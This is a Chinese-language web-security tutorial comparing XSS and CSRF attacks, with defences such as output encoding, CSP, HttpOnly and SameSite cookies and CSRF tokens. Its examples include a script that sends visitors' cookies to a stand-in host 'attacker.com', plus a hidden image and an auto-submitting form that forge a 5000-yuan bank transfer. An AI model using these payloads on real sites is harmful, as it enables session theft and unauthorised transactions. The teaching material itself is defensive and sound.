XSS攻击和CSRF攻击的区别, 完整示例攻击和防御介绍

XSS(跨站脚本攻击,Cross-Site Scripting)和 CSRF(跨站请求伪造,Cross-Site Request Forgery)是两种常见的 Web 安全漏洞,它们的攻击原理、目标和防御方式有显著区别。下面将从定义、攻击流程、完整示例、危害、防御措施等方面进行详细对比说明。


一、XSS 攻击(Cross-Site Scripting)

1. 定义

XSS 是一种注入型攻击,攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当其他用户浏览该页面时,脚本会在其浏览器中执行,从而窃取 Cookie、会话令牌、重定向到钓鱼网站等。

2. 攻击类型

  • 反射型 XSS:恶意脚本来自当前 HTTP 请求(如 URL 参数),服务器直接将其嵌入响应。
  • 存储型 XSS:恶意脚本被永久存储在服务器(如评论区、用户资料),所有访问该内容的用户都会中招。
  • DOM 型 XSS:完全在客户端通过修改 DOM 触发,不涉及服务器响应。

3. 完整示例(存储型 XSS)

场景:

一个论坛允许用户发表评论,但未对输入做任何过滤。

攻击者操作:

在评论框中输入:

html 复制代码
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
后果:

所有查看该评论的用户,浏览器都会执行这段脚本,将其 Cookie 发送给攻击者服务器。

4. 危害

  • 窃取用户 Cookie / Session ID
  • 劫持用户账户
  • 执行任意前端操作(如转账、发消息)
  • 钓鱼、挂马等

5. 防御措施

  • 输入过滤与转义 :对用户输入进行 HTML 实体编码(如 <&lt;)。
  • 输出编码:根据上下文(HTML、JS、URL、CSS)使用不同编码方式。
  • 设置 HttpOnly Cookie:防止 JS 读取敏感 Cookie。
  • Content Security Policy (CSP):限制可加载的脚本来源。
  • 使用安全框架 :如 React/Vue 默认转义,避免直接使用 innerHTML

二、CSRF 攻击(Cross-Site Request Forgery)

1. 定义

CSRF 攻击利用用户已登录的身份,在用户不知情的情况下,诱使其浏览器向目标网站发送恶意请求(如转账、改密码)。关键在于:浏览器自动携带 Cookie

2. 攻击前提

  • 用户已登录目标网站(如银行网站),存在有效会话 Cookie。
  • 目标网站未验证请求来源(如缺少 CSRF Token)。
  • 用户访问了攻击者控制的页面(如恶意广告、钓鱼邮件)。

3. 完整示例(转账 CSRF)

场景:

银行网站有一个转账接口:

复制代码
POST /transfer
参数:to=张三&amount=1000

且仅依赖 Cookie 验证身份。

攻击者构造恶意页面(如 attacker.com):
html 复制代码
<img src="https://bank.com/transfer?to=攻击者&amount=5000" width="0" height="0" />

或使用自动提交表单:

html 复制代码
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="攻击者" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.forms[0].submit();</script>
用户行为:

用户在已登录银行网站的情况下,访问了 attacker.com 页面。

后果:

浏览器自动携带 bank.com 的 Cookie 发起转账请求,成功转出 5000 元。

4. 危害

  • 非授权操作(转账、删数据、改密码)
  • 利用用户权限执行高危操作
  • 通常结合 XSS 更危险(XSS 可绕过 CSRF 防御)

5. 防御措施

  • CSRF Token:每个表单/请求包含一次性随机 Token,服务端校验。

  • SameSite Cookie 属性

    http 复制代码
    Set-Cookie: sessionid=abc123; SameSite=Lax
    • Strict:完全禁止跨站携带 Cookie。
    • Lax:允许安全方法(GET)跨站,阻止 POST 等。
  • 验证 Referer / Origin 头:检查请求来源是否合法(但可能被伪造或缺失)。

  • 双重提交 Cookie 模式:Token 同时放在 Cookie 和请求参数中,服务端比对。


三、XSS 与 CSRF 对比总结

特性 XSS CSRF
攻击目标 用户(窃取信息、控制浏览器) 应用(以用户身份执行操作)
是否需要用户交互 通常需要(访问含恶意脚本页面) 通常需要(访问恶意页面)
是否依赖 Cookie 自动发送
能否读取响应内容 能(同源策略下) 不能(受 SOP 限制)
典型防御 输入/输出转义、CSP、HttpOnly CSRF Token、SameSite Cookie
能否互相利用 XSS 可绕过 CSRF 防御(如窃取 Token) CSRF 无法直接导致 XSS

四、综合防御建议

  1. 对所有用户输入进行严格验证与转义(防 XSS)。
  2. 关键操作使用 CSRF Token 并验证(防 CSRF)。
  3. 敏感 Cookie 设置 HttpOnly + Secure + SameSite=Lax/Strict
  4. 启用 CSP 策略,限制脚本来源。
  5. 定期安全审计与渗透测试

如有具体场景(如前后端分离架构、API 接口等),防御策略可能需调整(例如 API 使用 Bearer Token 可天然防 CSRF)。欢迎进一步提问!

相关推荐
还是奇怪6 小时前
Agent 安全事件成为本周核心风险信号,从三起越界评测到 Hugging Face 入侵
人工智能·web安全·大语言模型·anthropic
笨鸟先飞,勤能补拙8 小时前
网络安全等级保护 2.0:从定级备案、建设整改到持续合规的系统指南
网络·人工智能·windows·安全·web安全·网络安全·github
宁之明起(B服)10 小时前
Vulhub靶场(Shiro-550反序列化 RCE(CVE-2016-4437))从入门到入土
web安全
Aision_12 小时前
实习学习笔记:HTTP请求走私漏洞全方位解析
笔记·学习·安全·web安全·http·网络安全·网络攻击模型
Fnetlink114 小时前
Fnet 云网安 260810
网络·安全·web安全
笨#小孩1 天前
文件上传漏洞:原理与20种实战绕过方法(上)
安全·web安全
AI创界者2 天前
【网络安全运维】Kali Linux 下 Medusa(美杜莎)工具的高效部署、故障排查与安全测试实战
linux·运维·web安全
云水一下2 天前
零基础玩转bWAPP靶场(四十五):XSS - Reflected (JSON)
web安全·json·xss·bwapp·reflected
祁白_2 天前
WebShell工具流量特征分析
笔记·web安全·流量特征·webshell工具
砚凝霜3 天前
软考网络工程师|第 6 章 网络安全基础、攻击、等保完整备考笔记
网络·笔记·web安全